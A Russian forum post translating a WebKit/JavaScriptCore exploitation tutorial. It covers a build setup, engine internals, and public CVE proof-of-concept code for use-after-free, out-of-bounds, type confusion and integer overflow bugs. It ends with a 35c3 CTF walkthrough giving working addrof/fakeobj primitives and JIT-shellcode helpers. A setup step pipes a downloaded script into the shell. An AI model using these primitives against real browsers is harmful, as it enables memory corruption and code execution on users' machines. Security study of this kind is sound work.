• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Руководство по эксплуатации уязвимостей в движке Webkit

NokZKH

Переводчик
Забанен
Регистрация
09.02.2019
Сообщения
99
Реакции
121
Пожалуйста, обратите внимание, что пользователь заблокирован
Это была достаточно сложная статья для перевода. У фраз, в правильности перевода которых я не уверен будет указан оригинальный текст.

Предисловие
Безопасность бинарных приложений - это не только куча и стек, нам еще многое предстоит открыть, несмотря на обычную проблему CTF. Браузер, виртуальная машина и ядро играют важную роль в безопасности бинарных приложений. И я решил сначала изучить браузер.

Я выбираю относительно простой - WebKit. (ChakraCore может быть проще, LoL. Но ходят слухи о том, что Microsoft отменяет проект. Поэтому я решил не выбирать его).

Я напишу серию постов, чтобы записать свои заметки при изучении WebKitsecurity. Также я впервые изучаю безопасность браузера, поэтому мои сообщения, вероятно, будут содержать много ошибок. Если вы заметили их, не стесняйтесь обращаться ко мне за исправлениями.

Прежде чем читать это, вам нужно знать:
  • Основы C++
  • Основы ассемблера
  • Принципы работы с виртуальной машиной
  • Ubuntu и командную строку
  • Основные понятия теории компиляции

Настройка
Хорошо, давайте начнем сейчас.

Виртуальная машина
Во-первых, нам нужно установить виртуальную машину в качестве цели для тестирования. Здесь я выбираю Ubuntu 18.04 LTS и Ubuntu 16.04 LTS как наш целевой хост. Ее вы можете скачать здесь. Если я не указываю версию, пожалуйста, используйте версию 18.04 LTS по умолчанию.

Mac может быть более подходящим выбором, поскольку у него есть XCode и Safari. Учитывая высокое потребление ресурсов MacOS и нестабильное обновление, я бы предпочел использовать Ubuntu.

Нам нужно программное обеспечение VM. Я предпочитаю использовать VMWare. Parallel Desktop и VirtualBox (бесплатно) тоже подойдут, это зависит от вашей личной привычки.

Я не буду рассказывать вам, как шаг за шагом установить Ubuntu на VMWare. Тем не менее, я все еще должен напомнить вам о том, что надо выделить как можно больше памяти и ядер процессора, поскольку компиляция потребляет огромное количество ресурсов. 80 ГБ диска должно быть достаточно для хранения исходного кода и скомпилированных файлов.


Исходный код
Вы можете скачать исходный код WebKit тремя способами: git, svn и archive.

Менеджер версий WebKit по умолчанию - svn. Но я выбираю git:

git clone git://git.webkit.org/WebKit.git WebKit


Отладчик и редактор
IDE потребляет много ресурсов, поэтому я использую vim для редактирования исходного кода.

Большинство отладочных работ, которые я видел, используют lldb, с которым я не знаком. Поэтому я также устанавливаю GDB с плагином Gef.

Код:
sudo apt install vim gdb lldb
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh


Тестируем
Компиляция JavaScriptCore
Компиляция полного WebKit занимает много времени. В настоящее время мы компилируем только JSC (JavaScript Core), в котором больше всего уязвимостей.

Теперь вы должны находиться в корневом каталоге исходного кода WebKit. Запустите это, чтобы подготовить зависимости:


Tools/gtk/install-dependencies


Несмотря на то, что мы до сих пор не скомпилировали полный WebKit, вы можете сначала установить оставшиеся зависимости для будущего тестирования. Этот шаг не требуется при компиляции JSC, если вы не хотите тратить слишком много времени:

Tools/Scripts/update-webkitgtk-libs


После этого мы можем составить JSC:

Tools/Scripts/build-webkit --jsc-only


Через пару минут мы можем запустить JSC:

WebKitBuild/Release/bin/jsc


Давайте сделаем несколько тестов:

Код:
>>> 1+1
2

>>> var obj = {a:1, b:"test"}
undefined

>>> JSON.stringify(obj)
{"a":1,"b":"test"}


Ошибки
Ubuntu 18.04 LTS здесь

Мы используем CVE-2018-4416 для тестирования, вот PoC. Сохраните его в poc.js в той же папке jsc:

Код:
function gc() {
    for (let i = 0; i < 10; i++) {
        let ab = new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(obj) {
    // Starting the optimization.
    for (let i = 0; i < 500; i++) {

    }

    let tmp = {a: 1};

    gc();
    tmp.__proto__ = {};

    for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
        tmp.__proto__ = {};

        gc();

        obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

        return obj[k];  // Type confusion.
    }
}

opt({});

let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory);
print(fake_object);


Сначала переключитесь на уязвимую версию:

git checkout -b CVE-2018-4416 034abace7ab


Это может потратить даже больше времени, чем компиляция)

Запустите: ./jsc poc.js, и мы получаем:

Код:
ASSERTION FAILED: structureID < m_capacity
../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID)
1   0x7f055ef18c3c WTFReportBacktrace
2   0x7f055ef18eb4 WTFCrash
3   0x7f055ef18ec4 WTFIsDebuggerAttached
4   0x5624a900451c JSC::StructureIDTable::get(unsigned int)
5   0x7f055e86f146 bool JSC::JSObject::getPropertySlot<true>(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&)
6   0x7f055e85cf64
7   0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const
8   0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const
9   0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const
10  0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const
11  0x5624a8fcc3a9
12  0x5624a8fcc70c
13  0x7f05131fe177
Illegal instruction (core dumped)

Если мы запустим это в последней версии (git checkout master для отката и удаления содержимого сборки rm -rf WebKitBuild/Relase/* и rm -rf WebKitBuild/Debug/*):

Код:
./jsc poc.js
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled.
OK
undefined

=================================================================
==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from:
    #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
    #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocator<std::mutex> >, std::allocator<std::mutex>, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8)
    #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocator<std::mutex> >, std::allocator<std::mutex>, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,

... // lots of error message

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s).

Мы получили ошибку!

Я не собираюсь объяснять причину ошибки (сам не знаю). Надеюсь, мы сможем выяснить причину через несколько недель


Понимание уязвимостей WebKit
Теперь пришло время обсудить что-то более глубокое. Прежде чем мы начнем говорить об архитектуре WebKit, давайте выясним типичные ошибки в WebKit.

Здесь я обсуждаю только ошибки, связанные с двоичным уровнем. Некоторые ошибки более высокого уровня, такие как URL Spoof или UXSS, не являются нашей темой. Примеры ниже не просто из WebKit. Некоторые ошибки Chrome. Мы представим кратко. И проанализируем PoC конкретно позже.

Перед прочтением этой части настоятельно рекомендуем прочитать некоторые материалы по теории компилятора. Базовые знания Pwn также должны быть изучены. Мое объяснение не ясно. Опять исправьте мои ошибки, если найдете.

Этот пост будет обновляться несколько раз, так как мое понимание в JSC становится глубже.

(Заголовки не переведены для сохранения изначального значения)

1. Use After Free
A.k.a UAF. Это часто встречается в вызове CTF, при классическом сценарии(a classical scenario):

Код:
char* a = malloc(0x100);
free(a);
printf("%s", a);

Из-за некоторых логических ошибок. Код будет повторно использовать освобожденную память. Обычно, мы можем редактировать её(leak or write), как только мы контролируем освобожденную память.

CVE-2017-13791 это пример для WebKit UAF. Вот PoC:

Код:
<script>
  function jsfuzzer() {
    textarea1.setRangeText("foo");
    textarea2.autofocus = true;
    textarea1.name = "foo";
    form.insertBefore(textarea2, form.firstChild);
    form.submit();
  }
  function eventhandler2() {
    яfor(var i=0;i<100;i++) {
      var e = document.createElement("input");
      form.appendChild(e);
    }
  }
</script>
<body onload=jsfuzzer()>
  <form id="form" onchange="eventhandler2()">
  <textarea id="textarea1">a</textarea>
  <object id="object"></object>
  <textarea id="textarea2">b</textarea>


2. Out of Bound
A.k.a OOB. Это как переполнение в браузере. Тем не менее, мы можем читать / писать рядом с памятью. OOB часто происходит при ложной оптимизации массива или при недостаточной проверке. Например(CVE-2017-2447):

Код:
var ba;
function s(){
    ba = this;
}

function dummy(){
    alert("just a function");
}

Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);

Когда вызывается Function.bind, аргументы вызова передаются в массив, прежде чем они будут переданы в JSBoundFunction :: JSBoundFunction. Поскольку возможно, что к прототипу Array был добавлен установщик, пользовательский сценарий может получить ссылку на этот массив и изменить его так, чтобы длина была больше, чем у исходного массива-бабочки. Затем, когда boundFunctionCall пытается скопировать этот массив в параметры вызова, он предполагает, что длина не длиннее выделенного массива (что было бы истинно, если бы он не был изменен), и считывает за пределами.

В большинстве случаев. мы не можем напрямую перезаписать регистр $RIP. Авторы эксплойтов всегда создают поддельный массив, чтобы превратить частичную R / W в произвольную R / W.


3. Type Confusion
Это особая уязвимость, которая возникает в приложениях с компилятором. И эту ошибку немного сложно объяснить.

Представьте, что у нас есть следующий объект (32 бита):

Код:
struct example{
  int length;
  char *content;
}

Затем, если у нас есть length == 5 с content указателя содержимого в памяти, он, вероятно, будет выглядеть следующим образом:

Код:
0x00: 0x00000005 -> length
0x04: 0xdeadbeef -> pointer

После того, как у нас есть другой объект:

Код:
struct exploit{
  int length;
  void (*exp)();
}

Мы можем заставить компилятор анализировать example объекта как объект exploit. Мы можем превратить функцию exp в произвольный адрес и RCE.

Пример для смешения типов:

Код:
var q;
function g(){
    q = g.caller;
    return 7;
}

var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);

Цитируется из CVE-2017-2446

Если встроенный скрипт в webkit находится в строгом режиме, но затем вызывает функцию, которая не является строгой, этой функции разрешается вызывать Function.caller и она может получить ссылку на строгую функцию.


4. Integer Overflow
Целочисленное переполнение также распространено в CTF. Хотя целочисленное переполнение само по себе не может привести к RCE, оно, вероятно, приводит к OOB.

Нетрудно понять эту ошибку. Представьте, что вы работаете под кодом на 32-битной машине:

Код:
mov eax, 0xffffffff
add eax, 2

Потому что максимум eax равен 0xffffffff. Невозможно связаться с 0xffffffff + 2 = 0x100000001. Таким образом, старший байт будет переполнен (исключен). Окончательный результат eax - 0x00000001.

Это пример из WebKit(CVE-2017-2536):

Код:
var a = new Array(0x7fffffff);
var x = [13, 37, ...a, ...a];

Длина не проверена правильно, в результате мы можем переполнить длину, расширив массив до старого. Затем мы можем использовать обширный массив для OOB.


5. Остальное
Некоторые ошибки трудно классифицировать:

  • Состояние гонки
  • Нераспределенная память
  • ...
Я объясню их подробно позже.


В глубине JavaScriptCore
Webkit в первую очередь включает в себя:
  • JavaScriptCore: движок выполнения JavaScript.
  • WTF: библиотека веб-шаблонов, замена для C ++ STL lib. Она имеет строковые операции, умный указатель и т. Д. Операция кучи здесь также уникальна.
  • DumpRenderTree: создание RenderTree
  • WebCore: самая сложная часть. Он имеет CSS, DOM, HTML, рендер и т. Д. Почти во всех частях браузера, несмотря на компоненты, упомянутые выше.
И JSC имеет:

  • lexer
  • parser
  • интерпретатор(LLInt)
  • три JIT-компилятора javascript, их время компиляции постепенно увеличивается, но работает все быстрее и быстрее:
    • baseline JIT, начальный JIT
    • оптимизация с малой задержкой JIT (DFG)
    • оптимизация с высокой пропускной способностью JIT (FTL), final phase of JIT
  • два движка исполнения WebAssembly:
    • BBQ
    • OMG
Этот пост может быть неточным или неправильным в объяснении механизмов WebKit.

Если вы изучили курсы по теории компиляции, лексер и парсер такие же, как и те, которые преподаются на уроках. Но компиляция кода разочаровывает. У него есть один интерпретатор и три компилятора, WTF? У JSC также есть много других нетрадиционных особенностей, давайте посмотрим:

Представление значения в JSC
Для облегчения идентификации значения JSC представляется по-разному:

  • pointer : 0000:PPPP:PPPP:PPPP (начинается с 0000)
  • double (начинается с 0001 or FFFE):
    • 0001:****:****:****
    • FFFE:****:****:****
  • integer: FFFF:0000:IIII:IIII (используйте IIII:IIII для сохранения значения)
  • false: 0x06
  • true: 0x07
  • undefined: 0x0a
  • null: 0x02
0x0, однако это недопустимое значение и может привести к сбою.

JSC Object Model
В отличие от Java, в котором есть константы(fix class member), JavaScript позволяет людям добавлять свойства в любое время.

Таким образом, несмотря на (1traditionally statically align properties), в JSC есть (butterfly pointer) для добавления динамических свойств. Это как дополнительный массив. Давайте объясним это в нескольких ситуациях.

Кроме того, JSArray всегда будет выделяться из-за(butterfly pointer), так как они изменяются динамически.

Мы можем легко понять концепцию с помощью следующего графика:


0x0 Fast JSObject
Свойства инициализируются:

var o = {f: 5, g: 6};


(Butterfly pointer) здесь будет нулевым, поскольку у нас есть только статические свойства:

Код:
--------------
|structure ID|
--------------
|  indexing  |
--------------
|    type    |
--------------
|    flags   |
--------------
| call state |
--------------
|    NULL    | --> Butterfly Pointer
--------------
|  0xffff000 | --> 5 in JS format
|  000000005 |
--------------
|  0xffff000 |
|  000000006 | --> 6 in JS format
--------------

Давайте расширим наши знания о JSObject. Как мы видим, каждый structure ID имеет таблицу соответствия структуры. Внутри таблицы он содержит имена свойств и их смещения. В нашем предыдущем объекте o таблица выглядит следующим образом:

property namelocation
“f”inline(0)
“g”inline(1)

Когда мы хотим получить значение (например, var v = o.f), произойдет следующее поведение:

Код:
if (o->structureID == 42)
    v = o->inlineStorage[0]
else
    v = slowGet(o, “f”)

Вы можете задаться вопросом, почему компилятор будет напрямую получать значение через смещение, зная, что идентификатор равен 42. Это механизм, называется встроенным кэшированием, который помогает нам быстрее получить значение. Мы не будем много говорить об этом, нажмите здесь для получения более подробной информации.

0x1 JSObject с динамически добавленными полями

Код:
var o = {f: 5, g: 6};
o.h = 7;

Теперь у “butterfly” есть слот, который составляет 7. (Now, the butterfly has a slot, which is 7)

Код:
--------------
|structure ID|
--------------
|  indexing  |
--------------
|    type    |
--------------
|    flags   |
--------------
| call state |
--------------
|  butterfly | -|  -------------
--------------  |  | 0xffff000 |
|  0xffff000 |  |  | 000000007 |
|  000000005 |  |  -------------
--------------  -> |    ...    |
|  0xffff000 |
|  000000006 |
--------------

0x2 JSArray с 3 элементами массива (0x2 JSArray with room for 3 array elements)

var a = [];

“The butterfly” инициализирует массив с предполагаемым размером. Первый элемент 0 означает количество используемых слотов. А 3 означает максимальное количество слотов:

Код:
--------------
|structure ID|
--------------
|  indexing  |
--------------
|    type    |
--------------
|    flags   |
--------------
| call state |
--------------
|  butterfly | -|  -------------
--------------  |  |     0     |
                |  ------------- (8 bits for these two elements)
                |  |     3     |
                -> -------------
                   |   <hole>  |
                   -------------
                   |   <hole>  |
                   -------------
                   |   <hole>  |
                   -------------

0x3 Объект с быстрыми свойствами и элементами массива

Код:
var o = {f: 5, g: 6};
o[0] = 7;

Мы заполнили элемент массива, поэтому 0 (используемые слоты) теперь увеличивается до 1:

Код:
--------------
|structure ID|
--------------
|  indexing  |
--------------
|    type    |
--------------
|    flags   |
--------------
| call state |
--------------
|  butterfly | -|  -------------
--------------  |  |     1     |
|  0xffff000 |  |  -------------
|  000000005 |  |  |     3     |
--------------  -> -------------
|  0xffff000 |     | 0xffff000 |
|  000000006 |     | 000000007 |
--------------     -------------
                   |   <hole>  |
                   -------------
                   |   <hole>  |
                   -------------

0x4 Объект с быстрыми, динамическими свойствами и элементами массива

Код:
var o = {f: 5, g: 6};
o[0] = 7;
o.h = 8;

Новый элемент будет добавлен перед адресом указателя. Массивы расположены справа, а атрибуты - слева от указателя, как “крыло бабочки”:

Код:
--------------
|structure ID|
--------------
|  indexing  |
--------------
|    type    |
--------------
|    flags   |
--------------
| call state |
--------------
|  butterfly | -|  -------------
--------------  |  | 0xffff000 |
|  0xffff000 |  |  | 000000008 |
|  000000005 |  |  -------------
--------------  |  |     1     |
|  0xffff000 |  |  -------------
|  000000006 |  |  |     2     |
--------------  -> ------------- (pointer address)
                   | 0xffff000 |
                   | 000000007 |
                   -------------
                   |   <hole>  |
                   -------------

0x5 объект с динамическими свойствами и элементами массива

Код:
var o = new Date();
o[0] = 7;
o.h = 8;

Мы расширяем “butterfly” встроенным классом, статические свойства не изменяются:

Код:
--------------
|structure ID|
--------------
|  indexing  |
--------------
|    type    |
--------------
|    flags   |
--------------
| call state |
--------------
|  butterfly | -|  -------------
--------------  |  | 0xffff000 |
|    < C++   |  |  | 000000008 |
|   State >  |  -> -------------
--------------     |     1     |
|    < C++   |     -------------
|   State >  |     |     2     |
--------------     -------------
                   | 0xffff000 |
                   | 000000007 |
                   -------------
                   |   <hole>  |
                   -------------

Вывод типа
Контрольные точки
Контрольные точки могут быть в следующих случаях:

  • Иметь плохое время
  • Структурный переход
  • Предполагаемое значение
  • Предполагаемый тип
  • и много других…
Когда происходят вышеуказанные ситуации, он проверит, оптимизирован ли этот участок кода. В WebKit это выглядит так:

Код:
class Watchpoint {
public:
    virtual void fire() = 0;
};

Например, компилятор хочет оптимизировать 42.toString () до «42» (возвращать напрямую, а не использовать код для преобразования), он проверит, был ли он уже аннулирован. Затем, если он действителен, выберет участок кода и выполнит оптимизацию.

Компиляторы
0x0. LLInt
В самом начале интерпретатор сгенерирует шаблон байтового кода. Используйте JVM в качестве примера для выполнения файла .class, который является другим видом шаблона байтового кода. Байт-код помогает легче выполнить:

Код:
parser -> bytecompiler -> generatorfication
-> bytecode linker -> LLInt

0x1. Базовый JIT и шаблон байтового кода
Самый простой JIT, он будет генерировать шаблон байтового кода. Например, код на javascript:

Код:
function foo(a, b)
{
return a + b;
}

Это байт-код IL, который более прост и более удобен для преобразования в asm:

Код:
[ 0] enter
[ 1] get_scope loc3
[ 3] mov loc4, loc3
[ 6] check_traps
[ 7] add loc6, arg1, arg2
[12] ret loc6

Кодовые сегменты 7 и 12 могут привести к DFG IL (о котором мы поговорим далее). Мы можем заметить, что он имеет много информации, связанной с типом при работе. В строке 4 код проверит, соответствует ли возвращаемый тип:

Код:
GetLocal(Untyped:@1, arg1(B<Int32>/FlushedInt32), R:Stack(6), bc#7);
GetLocal(Untyped:@2, arg2(C<BoolInt32>/FlushedInt32), R:Stack(7), bc#7);
ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7);
MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid);
Return(Untyped:@25, W:SideState, Exits, bc#12);

АСТ выглядит так:

Код:
  +----------+
   |  return  |
   +----+-----+
        |
        |
   +----+-----+
   |   add    |
   +----------+
   |          |
   |          |
   v          v
+--+---+    +-+----+
| arg1 |    | arg2 |
+------+    +------+

0x2. DFG
Если JSC обнаруживает функцию, запущенную несколько раз. То он переходит на следующий этап. На первом этапе герерируется байт-код. Таким образом, DFG-анализатор анализирует байтовый код напрямую, что делает его менее абстрактным и более простым для анализа. Затем DFG оптимизирует и сгенерирует код:

Код:
DFG bytecode parser -> DFG optimizer
-> DFG Backend

На этом этапе код выполняется много раз; и их типы данных постоянны. Проверка типа будет использовать OSR.

Представьте, что мы будем оптимизировать это:

Код:
int foo(int* ptr)
{
int w, x, y, z;
w = ... // lots of stuff

x = is_ok(ptr) ? *ptr : slow_path(ptr);
y = ... // lots of stuff
z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z;
}

В это:

Код:
int foo(int* ptr)
{
int w, x, y, z;
w = ... // lots of stuff

if (!is_ok(ptr))
  return foo_base1(ptr, w);
x = *ptr;
y = ... // lots of stuff
z = *ptr;
return w + x + y + z;
}

Код будет работать быстрее, потому что ptr выполнит проверку типа только один раз. Если тип ptr всегда отличается, оптимизированный код работает медленнее из-за частых аварийных отключений. Таким образом, только когда код выполняется тысячи раз, браузер использует OSR для его оптимизации.

0x3. FLT
Если функция, выполняется сто или тысячи раз, то JIT будет использовать FLT. Как и DFG, FLT будет повторно использовать шаблон байтового кода, но с более глубокой оптимизацией:

Код:
DFG bytecode parser -> DFG optimizer
-> DFG-to-B3 lowering -> B3 Optimizer ->
Instruction Selection -> Air Optimizer ->
Air Backend

0x4. Подробнее об оптимизации
Давайте посмотрим на изменение IR на разных этапах оптимизации:

IRStyleExample
BytecodeHigh Level Load/Storebitor dst, left, right
DFGMedium Level Exotic SSAdst: BitOr(Int32:mad:left, Int32:mad:right, ...)
B3Low Level Normal SSAInt32 @dst = BitOr(@left, @right)
AirArchitectural CISCOr32 %src, %dest

Проверка типа постепенно устраняется. Вы можете понять, почему в браузере CVE так много путаницы типов. Кроме того, они все больше похожи на машинный код.

Как только проверка типа завершится неудачно, код вернется к предыдущему IR (например, проверка типа не удастся на этапе B3, компилятор вернется к DFG и выполнится на этом этапе).

Сборщик мусора (Сделать)
Куча JSC основана на GC. У объектов в куче будет счетчик с ссылками. GC будет сканировать кучу, чтобы собрать ненужную память.

... все же, нужно больше материалов ...


Написание сценария для эксплуатации
Прежде чем мы начнем эксплуатировать ошибки, мы должны посмотреть, насколько сложно написать эксплойт. Здесь мы сосредоточимся на написании кода эксплойта, о самих уязвимостях рассказывать много я не буду.

Этот вызов - WebKit из 35c3 CTF. Вы можете скомпилировать двоичный файл WebKit (с инструкциями), скинуть на подготовленную виртуальную машину или получить код эксплойта здесь. Кроме того, MacOS Mojave (10.14.2) должна быть подготовлена в ВМ или на реальной машине (я думаю, что это не повлияет на сбои в различых версиях macOS, но примитив атаки может отличаться).

Запустите с помощью этой команды:

DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser

Не забудьте использовать ПОЛНЫЙ ПУТЬ. Иначе браузер вылетит

Если вы работаете на локальной машине, не забудьте создать / flag1 для тестирования.

Анализ
Давайте посмотрим на патч:

Код:
diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 20fcd4032ce..a75e4ef47ba 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper
     return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot);
}

+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
+{
+    ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
+
+    Structure* previous = structure->previousID();
+    if (!previous)
+        return false;
+
+    unsigned unused;
+    bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
+    if (!isLastAddedProperty)
+        return false;
+
+    RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
+
+    if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
+        ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
+        thisObject->setButterfly(vm, nullptr);
+    }
+
+    thisObject->setStructure(vm, previous);
+
+    return true;
+}
+
// ECMA 8.6.2.5
bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName)
{
@@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper

     Structure* structure = thisObject->structure(vm);

-    bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
+    PropertyOffset offset = structure->get(vm, propertyName, attributes);
+    bool propertyIsPresent = isValidOffset(offset);
     if (propertyIsPresent) {
         if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable)
             return false;

-        PropertyOffset offset;
-        if (structure->isUncacheableDictionary())
+        if (structure->isUncacheableDictionary()) {
             offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
-        else
-            thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+        } else {
+            if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
+                thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+            }
+        }

-        if (offset != invalidOffset)
+        if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
             thisObject->locationForOffset(offset)->clear();
     }

diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
index 536481ecd6a..62189fea227 100644
--- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
+++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
@@ -25,6 +25,12 @@
(deny default (with partial-symbolication))
(allow system-audit file-read-metadata)

+(allow file-read* (literal "/flag1"))
+
+(allow mach-lookup (global-name "net.saelo.shelld"))
+(allow mach-lookup (global-name "net.saelo.capsd"))
+(allow mach-lookup (global-name "net.saelo.capsd.xpc"))
+
#if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300
(import "system.sb")
#else

Самая большая проблема здесь связана с функцией tryDeletePropertyQuickly, которая действовала следующим образом:

Код:
static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
{
    // This assert will always be true as long as we're not passing an "invalid" offset
    ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));

    // Try to get the previous structure of this object
    Structure* previous = structure->previousID();
    if (!previous)
        return false; // If it has none, stop here

    unsigned unused;
    // Check if the property we're deleting is the last one we added
    // This must be the case if the old structure doesn't have this property
    bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
    if (!isLastAddedProperty)
        return false; // Not the last property? Stop here and remove it using the normal way.

    // Assert that adding the property to the last structure would result in getting the current structure
    RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);

    // Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
    if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
        ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
        thisObject->setButterfly(vm, nullptr);
    }

    // Directly set the structure of this object
    thisObject->setStructure(vm, previous);

    return true;
}

Короче говоря, один объект вернется к предыдущему идентификатору структуры, удалив ранее добавленный объект. Например:

Код:
var o = [1.1, 2.2, 3.3, 4.4];
// o is now an object with structure ID 122.
o.property = 42;
// o is now an object with structure ID 123. The structure is a leaf (has never transitioned)

function helper() {
     return o[0];
}
jitCompile(helper); // Running helper function many times
// In this case, the JIT compiler will choose to use a watchpoint instead of runtime checks
// when compiling the helper function. As such, it watches structure 123 for transitions.

delete o.property;
// o now "went back" to structure ID 122. The watchpoint was not fired.

Давайте сначала рассмотрим некоторые знания. В JSC у нас есть проверки типов во время выполнения и точка наблюдения для обеспечения правильного преобразования типов. После многократного запуска функции, JSC не будет использовать проверку структуры. Вместо этого он заменит его на watchpoint. Когда объект модифицируется, браузер должен активировать watchpoint, чтобы уведомить об этом изменении откат к интерпретатору JS и сгенерировать новый код JIT.

Здесь восстановление предыдущего идентификатора не вызовет watchpoint, хотя структура изменилась, что означает, что структура (butterfly pointer) также будет изменена. Однако код JIT, сгенерированный помощником, не будет восстановлен, поскольку watchpoint не сработал, что приводит к путанице типов. И код JIT все еще может получить доступ к устаревшей структуре «бабочки». Мы можем создавать поддельные объекты.

Это минимальный примитив атаки:

Код:
haxxArray = [13.37, 73.31];
haxxArray.newProperty = 1337;

function returnElem() {
    return haxxArray[0];
}

function setElem(obj) {
    haxxArray[0] = obj;
}

for (var i = 0; i < 100000; i++) {
    returnElem();
    setElem(13.37);
}

delete haxxArray.newProperty;
haxxArray[0] = {};

function addrof(obj) {
    haxxArray[0] = obj;
    return returnElem();
}

function fakeobj(address) {
    setElem(address);
    return haxxArray[0];
}
// JIT code treat it as intereger, but it actually should be an object.
// We can leak address from it
print(addrof({}));
// Almost the same as above, but it's for write data
print(fakeobj(addrof({})));

Сервисные функции
Скрипт эксплойта создает множество служебных функций. Они помогают нам создавать примитивы, которые вам нужны практически в каждом веб-эксплойте. Мы рассмотрим только некоторые важные функции.

Получение нативного кода
Для атаки нам нужна функция встроенного кода для написания шеллкода или ROP. Кроме того, функции будут нативным кодом только после многократного запуска (этот в pwn.js):

Код:
function jitCompile(f, ...args) {
    for (var i = 0; i < ITERATIONS; i++) {
        f(...args);
    }
}

function makeJITCompiledFunction() {
    // Some code that can be overwritten by the shellcode.
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    jitCompile(target, 123);

    return target;
}

Управляющие байты
В int64.js мы создаем класс Int64. Он использует Uint8Array для хранения числа и создает множество связанных операций, таких как add и sub. В предыдущей главе мы упоминали, что JavaScript использует теговое значение для представления числа, что означает, что вы не можете контролировать старший байт. Массив Uint8Array представляет 8-битные целые числа без знака, как и собственное значение, что позволяет нам контролировать все 8 байтов.

Простой пример использования Uint8Array:

Код:
var x = new Uint8Array([17, -45.3]);
var y = new Uint8Array(x);
console.log(x[0]);
// 17

